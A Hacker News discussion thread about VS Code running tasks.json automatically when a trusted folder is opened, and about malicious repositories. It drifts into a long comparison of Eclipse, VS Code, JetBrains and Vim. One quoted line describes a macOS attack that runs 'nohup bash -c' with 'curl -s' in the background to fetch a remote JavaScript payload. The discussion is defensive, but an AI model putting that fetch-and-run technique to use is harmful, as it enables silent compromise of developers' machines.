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My first reaction has been: when we install some node modules, import them and eventually run them, we do grant local execution permissions to whatever the authors of those modules coded in their scripts, right? More or less every language already suffer from the same problem. Who vets the code inside a Ruby gem, a Python package, etc? Add your favorite language.

However I did not know about tasks.json (I don't use VSC) and when I googled it I found the example at https://code.visualstudio.com/api/extension-guides/task-prov... and that is about running rake (Ruby.) So this is a little worse than installing malicious packages: the trigger is opening a malicious repository from the editor. Is this a common practice? If it is, it means two things: 1) the developer did not take an explicit choice of installing and running code, so even the possibility of an attack is unexpected and 2) it affects users of any language, even the ones that have secured package installation or have no installation of packages from remote.

On Debian I actually get a surprising amount of packages from just the official repo. In Python or R, I could almost do a full analysis just with those packages. The smaller number of separately installed packages, I can at least do a superficial sanity check. An alternative model of doing things exists. Considering how infinitesimally small Debian is compared to Windows and MacOS, if we had more users, momentum, and volunteers, I have no doubt that I could do everything with well-tested packages only.

You get asked if you trust the folder you’re opening every single time you open a new folder in VsCode. Everyone probably always just says yes but it’s not like it doesn’t tell you that opening untrusted folders is dangerous.

Until this post it wasn't clear to me that just opening and trusting a directory can cause code to be run without taking any other explicit actions that seem like they might involve running code, like running tests. My bad, but still!

reply to multiple comments :

mjdv : > it wasn't clear to me that just opening and trusting a directory

andy_ppp : >obviously I wasn’t explicit enough in explaining I’m talking about code execution simply by opening a directory.

Understandably, there's a disconnect in the mental model of what "opening a folder" can mean in VSCode.

In 99% of other software, folders and directories are purely navigation and/or organization and then you must go the extra step of clicking on a particular file (e.g. ".exe", ".py", ".sh") to do something dangerous.

Furthermore, in classic Visual Studio, solutions+projects are files such as ".sln" and ".vcsproj" or a "CMakeLists.txt" file.

In contrast, VSCode projects can be the folders. Folders are not just purely navigation. So "VSCode opening a folder" can act like "MS Excel opening a .xlsm file" that might have a (dangerous) macro in it. Inside the VSCode folder may have a "tasks.json" with dangerous commands in it.

VSCode uses "folders" instead of a top-level "file" as a semantic unit because it's more flexible for multiple languages.

To re-emphasize, Windows File Explorer or macOS Finder "opening a folder" do not run "tasks.json" so it is not the same behavior as VSCode opening a folder.

The message displayed when asking if you want to trust the directory is pretty clear about it.

https://code.visualstudio.com/docs/editing/workspaces/worksp...

I don't like the way it is handled. Imagine Excel actively prompting you with a pop up every time you open a sheet: "Do you trust the authors of this file? If not you will loose out on cool features and the sheet runs in restricted mode"

No it doesn't because restricted mode without Macros is the default and not framed like something bad or loosing out on all of those nice features,

The point of an IDE is that it does stuff a simple text editor does not.

The message, at least for me, does not convey that merely opening may lead to code execution.

Really? "May automatically execute files" suggests to me that at least code could execute without me taking any further explicit action.

What is the stated reasoning for arbitrary code execution as a feature? Seems pretty mad to me.

When you open up a folder in VS code, addons can start to set up language servers to index the code in the folder. This usually involves invoking build systems to set those up.

(I think some people are fixating on the specific feature that's mentioned in the article. The reason this pop-up exists is that there are many ways that this code execution could happen. Disabling this one feature doesn't make it safe, and this feature if not present, could still be achieved by abusing other capabilities that exist in the vs code ecosystem)

Makefiles etc. Many types of projects use arbitrary setup and build commands or can load arbitrary plugins, and unlike VS which imposes its own project format, VSC tries to be compatible with everything that people already use. Git hooks are another one.

Please see the reply to the other comment, obviously I wasn’t explicit enough in explaining I’m talking about code execution simply by opening a directory.

Some project types, such as Gradle or Maven projects, use arbitrary commands or plugins in project setup. You have to run arbitrary plugins to know which directories are the source directories, and you have to know which directories are the source directories to do anything in Java.

There’s no need to run that when opening a directory is there?

Programming projects frequently feature scripts for building and packaging said projects, those have to be run somehow.

Bundling running those into the editor seems like the mad part to me, but I've missed the whole VSCode train so probably something I'm missing.

The grand parent is talking about code execution can happen by just opening the directory, you’re imagining like I did (and the grandparent) that you have to run or execute something in VSC to get that to happen and I’m asking about what features could possibly require this to happen. Obviously running tests or a make file everyone understands clearly you’re executing other people’s code.

It’s not even running tests. Test extensions usually have to run something to even populate the tests panel in my first place and provide the ability to run à la carte. Thus opening a folder will cause the test collector binary to run.

They could ask and/or parse the tests for the information rather than run them to output it. I’m honestly still not seeing a killer feature here that makes the security implications worth it!

The message isn't very clear on what exactly is allowed to happen. Just intuitively, I wouldn't have expected simply opening a folder would "automatically execute tasks" because that's strange to me

https://code.visualstudio.com/docs/editing/workspaces/worksp...

It is very clear, the first sentence it that it may automatically execute code.

>Code provides features that may automatically execute files...

What features? What files? "may"? So will it actually happen or is it just "well it possibly could"?

I've used it to open folders that I personally made and which don't have any tasks or files that get automatically executed, and yet the message pops up anyway.

It's like having an antivirus program that unconditionally flags every file as "this file may contain a virus"

> What features? What files? "may"? So will it actually happen or is it just "well it possibly could"?

How is code supposed to know? It probably depends on the plugins you installed.

> It's like having an antivirus program that unconditionally flags every file as "this file may contain a virus"

No, it’s like if your OS asks if you want to actually run the program you’re about to before running it the first time. And it gives you the alternative to run it in a sandbox (which is equivalent to what happens when you don’t trust the workspace, then it still opens but in restricted mode)

Yeah, because there are a lot of mechanisms by which a folder may start to execute code when you open it outside of restricted mode. A large fraction of addons have something which could be used for this, for example. There isn't a general check that it can apply ahead of time for this.

(They could, with some breaking changes, maybe try to enforce a permissions system for the matrix of addons and folders, where it would ask for permission when an addon does actually try to run something, but this would result in a lot of permission requests for most repos)

Thing is, when you open a webpage it's clear that it may automatically execute code (Javascript, WebAssembly). What needs to be clear (and by default limited) is the authority of that code.

I’ve always defaulted to no.

This is when I say no.

Then copy-paste my default .dev-container directory and reload.

The reason it's worse in the js ecosystem is that you need way more packages than your average language to build anything functional.

In VS Code settings search for "tasks" you will find "Task: Allow Automatic Tasks"...turn it off.

Anything else that should be locked down?

This may only provide a flalse sense of security. Afaik, there is no way to disable workspace settings taking priority over user settings, so a malious repo can easily override them and reenable automatic tasks.

Don't mark the folder as trusted when you open in VsCode. The number of other hooks that may exist is going to be hard to track down (especially because each addon may add their own).

Even if you lock everything now, what if the thing autoupdates with new helpful "features". You can't patch bad development culture.

  On macOS systems, this results in the execution of a background shell command that uses nohup bash -c in combination with curl -s to retrieve a JavaScript payload remotely

Sounds like autorun on usb drives all over again. They cant learn

Yes, uninstall the whole thing. It's just a Chromium covered with a bunch of JavaScript.

I do feel like better application sandboxing is needed but so much open source software is built on the Unix abstraction meaning you have to run in a container, but macOS doesn’t have containers as far as I can see, and containers themselves are a bit of a poor abstraction, although maybe the best we can do with Unix at the core. I think something closer to Roblox studio would be cool where when you open an environment stuff just spins up in the background, but there is a good debugger, logging, developer ide, good rendering, eg 3d graphics, separate projects are separate, and when you spin down a game (read app or project) everything spins down.

I don't think it's viable to containerize an IDE. Running user code at full permissions is a core feature for an IDE. The programs that the user develops in an IDE could potentially touch any OS surface. When the user is a developer, you have to trust them.

Though this autorun feature is crazy and should be completely off by default.

It's a good idea so it can't take over your dev machine.

But not sufficient since it'll still F over whatever code you are working on resulting in a backdoored app getting deployed + infected dev scripts etc bringing interesting times to your teammates, downstream open source project users, your api keys and cloud credentials getting compromised etc.

Apple did actually introduce its own container framework in Tahoe, but it’s still early days. https://github.com/apple/container

These are Linux containers in a VM, I’m pretty sure GP is talking about native macOS containers.

Which: They do actually have some container-like sandboxing tech around applications (“iTerm wants to access your downloads folder”).

Yes, afaik macOS apps could theoretically be sandboxed as well (or close to) as iOS apps are. You can find the policies for many first-party apps and deamons in /System/Library/Sandbox/Profiles. But in practice most third-party apps aren't.

https://bdash.net.nz/posts/tcc-and-the-platform-sandbox-poli... and https://bdash.net.nz/posts/sandboxing-on-macos/ are good introductory articles.

UTM is free and spins up native macOS VMs. If I absolutely have to write JavaScript that’s where I do it, since Sha1 Hulud.

apple has pretty good containers actually. why do you say they are a poor abstraction?

That what stuff like XPC and entitlements are for, which naturally programs from UNIX culture background don't care to use.

[dead]

Is this 'task' feature really useful? I'd say applications like IDEs and text editors should not have automatic arbitrary execution of code in the first place. 'eval' should be blocked and extensions/plugins should have only very limited power to execute external logic (such as processes for LSP) or require allowlisting manually every process.

It's Macro-enabled Office files all over again.

Next up: Javascript virtual operating systems.

That's essentially what WASM does, no?

we need to go deeper

Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays?

Im forced to use vs code (so biased), but everything seems worse than eclipse, plus these repeated security issues from malware laced projects.

Theres been several posts about infected projects by fake recruiters here in the last year or two.

Im guessing the answer is probably Java is why eclipse is out of favor.

> Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays?

Is eclipse good now? I used it 15 years ago. It took ages to start. It was a memory hog and it was dog slow besides. My entire team got RAM upgrades on our computers because the default company issued machines (which were quite good at the time) didn't have enough RAM to use eclipse properly.

I can't imagine why it went out of favour...

This is exactly what I was going to say. I used eclipse in college when learning Java. Back then it was bloated, slow, had really bad UX, and would occasionally crash for no reason I could ascertain (I was just doing basic school projects. Linked lists, binary search trees, etc...)

VS Code, although it is starting to go get a bit bloated, has always been extremely responsive and snappy. Yeah I've had it crash, but I was never surprised that it crashed. (e.g. opening enormous files, running several instances at once with tons of tabs open, long debugging sessions, etc...)

But now I use NeoVim so none of that matters...

Definitely, it has been at least a decade since I had plugins corrupt my workspace, and there are old Reddit comments of me complaining about in on /r/java.

Load VSCode with the same amount of plugins, each requiring its own process, to see how "fast" it runs, not to mention Electron crap, there is a reason so many Microsoft plugins are actually written in C++ and Rust.

> It took ages to start. It was a memory hog and it was dog slow besides. My entire team got RAM upgrades

The more things change, the more they stay the same. I used to use VS Code on some very large C projects with 16GB of RAM, and my machine would grind to a halt while intellisense was indexing.

The indexer was probably clangd, not Code itself.

IME more likely cpptools (which comes with vscode) than clangd.

Relevant: https://news.ycombinator.com/item?id=43788332

We used to have a custom Eclipse-derived tool for embedded development, and it sucked. Poor performance, crashy, difficult to build and debug. VS code is just lighter. As well as feeling more "modern", simply due to being built with the prejudices of the mid-2010s rather than the late 90s. Eclipse 1.0 was in 2001!

Todays hard drives are faster then memory was back then, so it's probably not an issue now. Could probably reparse your entire code base at every key stroke without you noticing.

Modern PCIe NVME drives typically see a few microsecond latency, but even DDR2 latency was around 10 nanoseconds. Memory remains top dog by a long shot.

How much ram did you have, and when was this? I remember being extremely happy with Eclipse on an 8GB machine - this was back in the jvm7 days. Heck, I did jvm6 development with Eclipse on Windows XP with 4GB of ram and was content.

Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE.

For years and years I had people telling me how great IntelliJ was, etc. I eventually switched - lo and behold, IntelliJ had just as many quirks (even some of the same) as Eclipse.

> Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE.

More like Eclipse struggled on the kind of hardware that people could afford as a student.

My main memories of Eclipse (15 years ago at this point) are waiting forever for it to start up, though it was pretty adequate after that.

Right, but it’s essentially a fancy text editing environment. It should never have needed anything but barebones hardware.

> essentially a fancy text editing environment

No, it’s an IDE first. Not a text editor that’s extensible. It has a lot of features built-in, pre-enabled, and configured out of the box.

Yes, it can edit text. But it can do a lot more.

It was 2010. Our default work machines had 16gb of ram. Eclipse ran, but it was tight. Especially while debugging. Some developers also apparently liked to open a second eclipse instance for some reason. You'd go OOM pulling stunts like that.

They upgraded all of us to 32gb. 32gb doesn't sound like a lot of ram now, but in 2010 it seemed pretty wild to me. Especially for just running an IDE.

In eclipse's defence, we were working on a very large java codebase. But that shouldn't have been a surprise to anyone. I've never seen a java codebase come in any other size.

I'm running intellij (RustRover) right now, and its sitting on about 4.5gb of ram. That still seems very inefficient to me. But it doesn't sound that bad compared to eclipse.

16gb. Ram in 2010?! That's like top 10%, not standard. Even now computers are shipping with 16/32gb ram

That seems incredible. 16GB of ram to run (presumably windows 10) and Eclipse?

Eclipse, unlike IntelliJ offers "project" view were you have have many "solutions" open at once. Even with multiple Eclipse instances open, it's hard to imagine it consuming so much ram.

Perhaps you had other company-required software running. I was working on relatively largeish codebases and very happy with 8GB of ram until 2018ish.

Regardless, an IDE is more than a text editor, so your claim that RustRover with 4.5GB of ram is inefficient is misguided.

> That seems incredible. 16GB of ram to run (presumably windows 10) and Eclipse?

In 2010 it couldn't have been anything later than Win 7; Win 8 was released in 2012.

>They upgraded all of us to 32gb. 32gb doesn't sound like a lot of ram now, but in 2010 it seemed pretty wild to me. Especially for just running an IDE.

With the current prices it is still wild mate.

> Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE.

My first IDE was Turbo Pascal 2.0, about 20 years before I used Eclipse, and I used a lot in between (and since). Eclipse was the single most unintuitive, user hostile, clunky, slow, and painful system to use. A few of those problems probably would have been a little bit less noticeable on a ridiculously high-end machine, but not all of them, and other contemporary IDEs worked well-enough on lighter machines. And despite how much I disliked using Eclipse, I liked the idea of Eclipse, and kept it around because it was, for a while, occupying the niche of “extensible open source platform most popular to target for interesting dev tools” (because there weren't really any alternatives that were as open and extensible).

I used eclipse in university around that time (2005), then first switched to netbeans which I already liked more, then discovered IntelliJ and have been using that ever since. Everything about Eclipse felt worse in ways neither of the others did, but all of that was still during university (though I now use JetBrains professionally).

> Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE.

this is a huge assumption and also ignores the fact that if it's not clear to users, it's a bad design.

I switched to VSCode because it has a free editor with a really great jump to file hotkey.

I remember when the big VS added jump to file but it was so damn miserably implemented as to be useless.

Having worked at Microsoft for a decade, the most frequent way I navigated a large source tree was dir /s *partialfilename*.*

Then again while I was there, most code bases couldn't even open in Visual Studio. (highly team dependent, I was mostly on older C/C++ code bases.)

Some teams at MS paid for an editor called Source Insight, which indexed your code and could also parse C #defines and other preprocessor macros, which was super unique and powerful. It had an incredibly powerful symbol and fuzzy filename search capabilities, I'd frequently have Source Insight open just so I could find where in a folder structure a file was and then I'd open it up in my preferred editor.

Back when I got my first SSD the largest boost to my dev productivity was not in compile times (large C++ code bases tend to template bound more so than IO bound), it was how fast I could find files in the directory structure.

I'm sure Vi/Emacs users have some magic set of plugins that do all of this for them, but as someone back on Windows back in the 2000s and 2010s, the supported MS tooling was horrible at all this.

Then VS Code comes along with amazing fuzzy file name matching. Holy cow. Sure it is missing 90% of the power of real Visual Studio (being able to have a debugger step from front end web code to your backend and then into stored procedures in SQL, running on a remote machine, that your debugger transparently auth'd to, is something Microsoft had working 20 years ago and would be considered impossible dark magic with today's tooling), but wow can I navigate a project quickly!

Site license to source insight was something I missed badly after Microsoft. Bought my own copy. It did wonders when looking at Snowflake monorepo, which was otherwise impossible to understand . Great piece of software, still going strong too.

Same here! Easily jumping between files is one of the best features. I always have VS and vscode open simultaneously, doing about 99% of the work in vscode and only using VS to compile and to debug.

Eclipse is not safer it just has fewer people looking for holes in it. The problem is not the software but how we trust code from the internet. Even if you used Eclipse a fake recruiter could still trick you into running a bad script. We cannot fix social engineering by changing the text editor.

For me vscode is super-lightweight and at the same time has enough functionality. I didn't use Eclipse for many years, but from my memory it was super-heavyweight. And it didn't really support anything except Java.

Interestingly Java is the only language that I've found vscode support poor, so I keep buying Idea license exclusively for Java projects. For rest of languages that I use (JS/TS, Go, Python, Shell, YAML, XML) I'm using vscode and happy about it.

In recent years vscode starting to get bloated, mostly with AI stuff. But so far I can disable everything AI with a single setting and it works good afterwards. I'd prefer for all AI features to be contained in a separate plugin that I can just not install, but I guess managers these days want to shove AI in everyone's throat.

Another good thing about vscode is that its written with JavaScript and can be launched in browser, so in the future I want to put my development environment in the browser, but so far I didn't do that.

I don't really like VS Code either, but I personally use it because I tend to jump between a half-dozen semi-obscure languages, and VS Code is the only [0] editor that supports all of them.

[0]: Vim and Emacs have almost as good or slightly better language support, but I prefer GUIs over TUIs.

Seems very odd to me that someplace would force the use of a particular development tool. I've seen it only one time while interviewing, where they wanted everyone to have identical setups so they could easily hop onto each others computers when needed... it was weird and I took it as a red flag and didn't follow through them them.

This is common in many companies, IT wants standard development environments.

Some software development workflows require specific tooling, with complex setups. While it may be possible to do with other tools, it's often very difficult, and not really worth the trouble when there is a known working setup. It's easier to onboard new people if they use the established toolchain with known working configs. I worked at a place once where it took several days to get the dev environment set up. It would have taken far longer if someone wanted to use whatever random tool they'd prefer to use.

That is a massive red flag to me too. They are basically saying "you are identical to everyone else, and easily replaced."

Wanting to be able to use anybody's machine is very strange, agreed.

From a support/IT perspective though, the closer everybody's machine is, the easier the job is.

The last software shop I worked at, we had a default set of tools and configs. It was a known happy path. You were allowed to adventure off of that path, but you were mostly on your own.

> Wanting to be able to use anybody's machine is very strange, agreed.

Very useful if people are struggling to create reliable repro steps that work for me - I can simply debug in situ on their machine. Also useful if a coworker is struggling to figure something out, and wants a second set of eyes on something that's driving them batty - I can simply do that without needing to ramp up on an unfamiliar toolset. Ever debugged a codegen issue that you couldn't repro, that turned out to be a compiler bug, that you didn't see because you (and the build servers) were on a different version? I have. There are ways to e.g. configure Visual Studio's updater to install the same version for the entire studio, which would've eliminated some of the "works on my machine" dance, but it's a headache. When a coworker shows me a cool non-default thing they've added a key binding for? I'll ask what key(s) they've bound it to if they didn't share it, so we share the same muscle memory.

Devcontainers[1] or some similar technology are a must. Use whatever specific IDE you want, but the development environment itself should be identical across everyone on the team.

No more "works on my computer" issues. The environment is always identical.

[1] https://containers.dev/

It's quite common if you work in a team of engineers, or in a large company with many engineers.

Having consistent machine and OS and app configurations enables better (lower cost, higher reliability) scripting and tooling solutions in things like repos and infrastructure.

Not unlike consistency in language and compiler choices.

Or they bust don‘t want to look after a dozen different tools and their security issues.

Having a consistent setup makes it easier for your organization's IT team to support you, troubleshoot issues, etc. It also makes it easier for you to collaborate with other members of your team, or even other teams. If your coworker Fred comes to you asking for help on how to refactor something, for instance, it will go much more easily if you're running the same IDE with the same refactoring tools.

Organizations establish and enforce standards for a reason.

My personal reason for switching some years ago was the excellent remote session support via ssh.

I haven't reevaluated that choice in a while, but that plus LSP support (and to a lesser extent ML Auto-complete) are must-haves for me nowadays.

Never liked Eclipse, but I’ve been forced to use VSCode over my preferred JetBrains IDEs because it is the only modern mainstream editor with a competent client-server mode. As in, actually rendering the UI locally while doing all the code indexing and intelligence on the server. Corporate world would much rather maintain disposable remote VMs than help you unfuck your laptop after whatever required security upgrade installs the wrong version of a scripting language and sends everything to hell.

Have you tried Jetbrains Gateway? I’m curious whether it’s insufficient or just too recent, as I’ve eyed it a few times.

For those unfamiliar, Gateway is essentially a thin local client for Jetbrains IDEs to run remotely. The remote functionality at least is free. https://www.jetbrains.com/remote-development/gateway/

Gateway is discontinued

Yikes, sounds like hell.

Corporate never seems to get that git is the kind of interface you want between your computer and their servers.

Then when you trash your computer you can just get it back to the state of being able to git.

They're not using the remote VM as a server but as the development machine though. You don't want to have to git commit and push every time you need to run or even type-check your code.

I think what GP describes is actually a pretty okay solution for orgs that don't want to provider their devs with local admin privileges.

Because it is fast enough, easy to onboard to with sane defaults. MS provided initial plug-ins and the ecosystem developed.

Threat model described is not unique to VS Code

I've also used Eclipse in the past but almost exclusively used vscode in recent years. It's just a phenomenal text editor. It's got fantastic multi-line selection and editing tools and searching for files is instant and you don't even need to be fully accurate with the filename. Nowadays I hardly ever use the sidebar to look for the file, I just type thr ctrl+e shortcut and insert several letters of the file and I instantly get the result. It's a small thing with a huge impact. VS, for comparison, lags a few seconds when searching files, and it misses files that are not imported into the workspace. That difference makes VS useless to me.

The only thing that matters is extensibility/customization and speed. I want the lightest, most customizable thing that isn't emacs (for real reasons, trying to set up emacs at work is too much of pain in the ass) as my single pane of glass on any OS I care to use. If it can't do that, it doesn't live long.

I want the lightest, most customizable thing, that is also Vim. Thank god there's Vim for that. (cloning my dotfiles for instant setup on a new box)

I mean, sure, you could do that. No one said being competent was easy. Have you tried lisp?

I bucket Eclipse under "heavyweight IDE". I used to use it, plus the CDT plugin, for my C++ nonsense.

Then Visual Studio's Express and later Community SKUs made Visual Studio free for ≈home/hobby use in the same bucket. And they're better at that bucket for my needs. Less mucking with makefiles, the mixed ability to debug mixed C# and C++ callstacks, the fact that it's the same base as my work tools (game consoles have stuff integrating with Visual Studio, GPU vendors have stuff integrating with Visual Studio, the cool 3rd party intellisense game studios like integrates with Visual Studio...)

Eclipse, at least for me, quickly became relegated to increasingly rare moments of Linux development.

But I don't always want a heavyweight IDE and it's plugins and load times and project files. For a long time I just used notepad for quick edits to text files. But that's not great if you're, say, editing a many-file script repository. You still don't want all the dead weight of a heavy weight IDE, but there's a plethora of text editors that give you tabs, and maybe some basic syntax highlighting, and that's all you were going to get anyways. Notepad++, Sublime Text, Kate, ...and Visual Studio Code.

Well, VSC grew some tricks - an extension API for debuggers, spearheading the language server protocol... heck, I eventually even stopped hating the integrated VCS tab! It grew a "lightweight IDE" bucket, and it serves that niche for me well, and that's a useful niche for me.

In doing so, it's admittedly grown away from the "simple text editor" bucket. If you're routinely doing the careful work of auditing possibly malicious repositories before touching a single build task, VSC feels like the wrong tool to me, despite measures such as introducing the concept of untrusted repositories. I've somewhat attempted to shove a round peg into a square hole by using VSC's profiles feature - I now have a "Default" profile for my coding adventures and a "Notes" profile with all the extensions gone for editing my large piles of markdown, and for inspecting code I trust enough to allow on disk, but not enough to autorun anything... but switching editors entirely might be a better use of my time for this niche.

It's free, it has support for loads of languages, and it's kind of fashionable.

Personally I'm kind of lukewarm on VS Code, it's fine, but CLion, Visual Studio Proper, and RustRover are better for me.

I see why people use it though, it's not a bad editor at all.

For Java, I'm all over IntelliJ.

> Im guessing the answer is probably Java is why eclipse is out of favor.

Some people just want a text editor, whereas eclipse is “an IDE and Platform”.

I don't think that's really why VSCode succeeded or Eclipse failed.

Eclipse failed because it was slow and janky and had abysmal UX and it only supported Java well.

VSCode succeeded because it has a much more sane UX, it's way less janky, it's highly extensible and language neutral.

  > everything seems worse than eclipse

In general, I believe most people see VSCode as "good enough". Maybe not the best text editor, but it's good enough at everything it does and extensible enough to the point that there's really no point to go for anything else unless you have a really good reason to.

   > Im guessing the answer is probably Java is why eclipse is out of favor.

People forget that there was a period of time during which the Java runtime installer tried to install actual adware. You had to jump through hoops to deselect adware from being forced onto your machine, it was infuriating.

Setting up a new machine, I could choose between Eclipse (free, took forever to open, slow, asked me a million questions before it let me start working) or Visual Studio (cost money, incredibly powerful, written in C++ and was really damn fast.)

Visual Studio is mostly written in C# btw.

“Java” does not explain why Eclipse is irrelevant where IntelliJ is thriving.

why is VS code the defacto answer nowaday?

  1. It's free
  2. A million plug-ins

> A million plug-ins

> I don't use it because it's so dog slow.

You might find it runs better with fewer plugins.

Or with most language specific extensions disabled by default.

I almost disable all extensions except the ones I use all the time. Then I enable specific ones at workspace level.

Yes, it's annoying. But as an extension author, I know how some badly written extension can significantly slow down the experience, both during startup and editing. I even profiled other people's extensions and submitted feedback.

Load time is in seconds, even with the program cached. I can still load vim with a ton of plugins[0] and still load a project in a few hundred milliseconds.

Maybe VS Code is faster with fewer plugins but it's still "dog slow" to load and run. Only thing I'm "missing" in vim is the bloat

[0] personal I only use a handful but I've played around because why not

With LazyVim (requires NeoVim) and its load-on-demand architecture, startup time usually stays below 50 milliseconds even with a ton of plugins. Below 50ms is fast enough that it feels instant. Aliasing `nvim` to `n` in my ~/.bash_aliases just makes it even faster. cd to a project directory, run `n .` and I'm looking at the NeoVim file explorer plugin for that project directory. No break in thought flow, no standing up to get coffee while the IDE loads, just keep going.

Your focus on startup speed feels really alien to me. When working on a project I just keep vscode open. I reboot maybe once a week and starting vscode again takes about a second, and then maybe 10s of seconds of background processing, depending on the project size, for the language server to become fully operational. That's more than good enough for me.

I've done a lot of shell-driven development in the 00s though, and I remember it did involve frequently firing up vim instances for editing just a single file. I no longer understand the appeal of that approach. Navigating between files (using fuzzy search or go-to-definition) is just a lot faster and more convenient.

LazyVim includes a bunch of pre-configured plugins that turn NeoVim into an IDE. Fuzzy search by filename, search by text, file explorer, go to definition, go to reference... Even debugging and unit test runners, it's all there. Yet when I'm at the command line and I need to make a quick edit to one file, e.g. `nvim ~/.bashrc`, I don't pay the startup cost of waiting for 50 plugins I'm not going to use. So it's the best of both worlds.

>>Load time is in seconds, even with the program cached.

Are you like, for real? How often do you load it up for it to matter in the slightest? Do you not just open the project once at the start of the day and then continue working?

Sorry but for someone used to working in VS proper and projects which take minimum 40 minutes to build, saying that a startup time of a few seconds is a problem is.....just hard to understand.

I have noticed that Antigravity is lightening fast, wonder what magic they are using?

> Why is VS code the defacto answer nowadays?

For what I do, there's no reasonable alternative at the moment.

I'm sure someone will correct me, but it's the only editor that correctly (for some definition of correct) allows remote editing and devcontainers:

[desktop OS] -> ssh -> [dest box]

[desktop OS] -> [devcontainer]

[desktop OS] -> ssh -> [dest box] -> [devcontainer]

[desktop OS] -> ssh (jumphost) -> [dest box] -> [devcontainer]

I won't name and shame other editors (or IDEs), but either they simply can't do that, or their performance is absolutely, shockingly, abysmal.

I would rather solve file access at an entirely different level. A filesystem is a reasonable, editor-agnostic abstraction for this, and I can use sshfs to mount a remote directory over SSH in a way that's invisible to whatever tools I prefer to use to edit the files.

If you have a jumphost chain, you can configure that in the SSH config.

I don't know what a devcontainer is exactly, but if it's a container in the sense that it runs a Linux development system, I would investigate whether that, too, could easily be set up for access via SSH or mounted locally through some other mechanism.

I’ve never written a line of Java in my life. Why would I ever use Eclipse?

VSCode is defacto standard because it’s kinda mediocre but works ok enough for every language and every platform. Microsoft created and popularized LSP so VSCode isn’t a single language IDE.

I use a mixture of code editors. My favorite is probably 10x but it only works with C++. So VSCode is just a reasonably standard unless a different editor is better for a specific use case.

It just happens. I was happy on netbeans, then I was forced over to eclipse, which I got used to. Then I got forced over to intellij. I'm still pissed about that (even though it's rider for me these days).

I don't mind VSCodium that much because I can put my tooling on the side (like a good unix fanboy) instead of hoping that jetbrains reimplements every other tool. Ag, grep beat IDE searches any day.

But yeah we have reach a stupid point in the industry where VSCodium asks me to trust a codebase before it will let me edit it.

As I remember it, VS code was Microsoft’s response to Sublime.

Sublime was exceptionally popular for web developers throughout the 2010s.

Sublime was maintained by a single person as far as I know.

VS code was pretty much a copy of Sublime but with a much better extensions system and relatively quickly there were some great plugins that made VS code the de-facto editor for web development.

Wasn’t it a copy of Atom?

Yes, Atom was an earlier shot at building a Sublime competitor too.

I don’t know how usage of Atom compared to Sublime, but within my friends and colleagues it was only when VS code got good that people started moving away from Sublime.

I can only speak for $MY_JOB, but I'm pretty sure everyone was on Atom before VSC "got good". Atom had a good plugin ecosystem; what really drove the change was Atom's horrible performance issues whereas VSC was snappy and responsive.

What I believe also influenced the shift was that at that point in time MS had accumulated a decent amount of developer trust by giving us TypeScript and later on by acquiring GitHub. They appeared to care and have the right vision for open source.

Ahh ok, interesting. I bounced off atom immediately but VS code got me.

Let's also not forget one big reason VSCode took over and Sublime lost: VSCode is gratis and (mostly) open-source, while Sublime is proprietary.

Nope it started as a Web IDE, going against Atom was their pivot to win market share, there are a few talks from the team if you search for VSCode history.

I loved Eclipse. I still like it quite a lot.

I stopped using it because none of the plugins for the languages I was using at the time (Ruby, Python, Erlang) were either worth a damn, or getting updated to track new language features.

I started using VSCode because IntelliJ-family IDEs will report incomplete search results as complete when they are rebuilding their search indices. To put it another way, they will tell you that a string that definitely appears in the project does not appear, if they haven't gotten around to re-adding the files that contain that string to the search index.

This to me is intolerable behavior. Others find it perfectly acceptable.

> Im guessing the answer is probably Java is why eclipse is out of favor.

Dude, Eclipse has been out of favor for well over ten years now due to Jetbrains IDEs (IntelliJ IDEA).

To myself and many others, vscode is not the defacto answer. JetBrains is. IntelliJ was miles ahead of eclipse last time I checked. Rider is miles ahead of Visual Studio. WebStorm is miles ahead of vscode for js etc.

It's not even a competition, to me. I've had to use Visual Studio instead of Rider for work the past year and it's been a very bad experience.

The biggest difference is JetBrains intellisense feels like it's reading my mind, I'll just type a couple characters and hit tab most of the time. Visual studio on the other hand has the worst intellisense I can imagine. It very frequently just messes up what I'm doing - I'll write what I want correctly, hit space and VS will just change it to something entirely different and import a package while it's at it. It's incredibly annoying. And when I actually want to use auto complete, say for example I've declared a variable on the line above and I want to use it, I'll write a couple characters and then without fail the variable I just declared on the line above is like option 6 down the list behind a bunch of crap that doesn't even make sense in the context at all. And as if it wasn't enough that the IDE is crap when it's working correctly, it very frequently craps out and just stops providing syntax highlighting and such in .razor files, or showing errors in files that compile just fine, forcing me to restart it and delete the .vs folder. Like every day.

Personally I think the only people who prefer other products than JB are people who don't know what they're missing. JB is literally just better in pretty much every way. At least the products I've used. I think I'll turn down the next job that asks me to use VS.

Wild. I would quit my job and start selling jam at the Farmer’s Market before I went back to Eclipse! :)

Thing that IntelliJ and even NetBeans have going for them is that they seem like tools for getting work done. Eclipse puts more emphasis on being a platform which means you have to download and configure plugins just to get started. Great if you're a corporate shop with a standard setup that's force-pushed to every machine. Not so much if you're just getting started or working on side projects or in a startup, which is how languages and frameworks gain mindshare in the web era.

Visual Studio Code—I dunno. It's an editor more than an IDE. It lets Webdev Andys create an empty directory, put an index.ts in there, and get started right away. Yes, WebStorm does the same, but VS Code comes with decent multilanguage support for free. It's like vim or Emacs but crappier and more bloated, but a lot of people don't care about that.

It's the license. The MIT license is what makes VSCode the defacto answer.

It also runs on the web, which makes it extremely convenient to toss into...web things. It's the code editor for the Google Cloud console, the Lambda web console, the GitHub web editor, and so on.

I'm going to guess that Eclipse doesn't have the same amount of security issues because it's not a popular target. Everyone (relatively speaking) is using VSCode or something based on it.

If you did webshit in eclipse, especially with NPM involved, it would be just as bad. Running arbitrary code from a downloaded bundle seems normal in that world.

> Im guessing the answer is probably Java is why eclipse is out of favor.

I don't get the connection, but Java had log4j, i.e. a remote code execution vulnerability.

This is so insane to me. Eclipse is... Fine for Java in the sense Visual Studio is for dotnet. But man can they both be slow.

Use case depending sometimes you just need a quick editor, thats why sublime had and probably still has a huge userbase, its fast startup and flexibility. Vim, emacs and derivatives of it are the same story.

I can't imagine ever opening up eclipse to edit a zig/go/js file or project. It's too bloated.

The answer is neovim anyway. That's all anyone needs. /s

